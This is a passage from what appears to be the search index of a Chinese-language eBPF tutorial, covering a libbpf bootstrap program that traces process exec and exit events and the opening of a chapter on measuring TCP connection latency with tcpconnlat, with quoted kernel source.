分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include <argp.h>\n#include <signal.h>\n#include <stdio.h>\n#include <time.h>\n#include <sys/resource.h>\n#include <bpf/libbpf.h>\n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"<bpf@vger.kernel.org>\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d <min-duration-ms>] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 在接下来的教程中，我们将继续深入探讨 eBPF 的高级特性，分享更多关于 eBPF 开发实践的内容。通过不断学习和实践，您将更好地理解和掌握 eBPF 技术，并将其应用于解决实际问题。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, 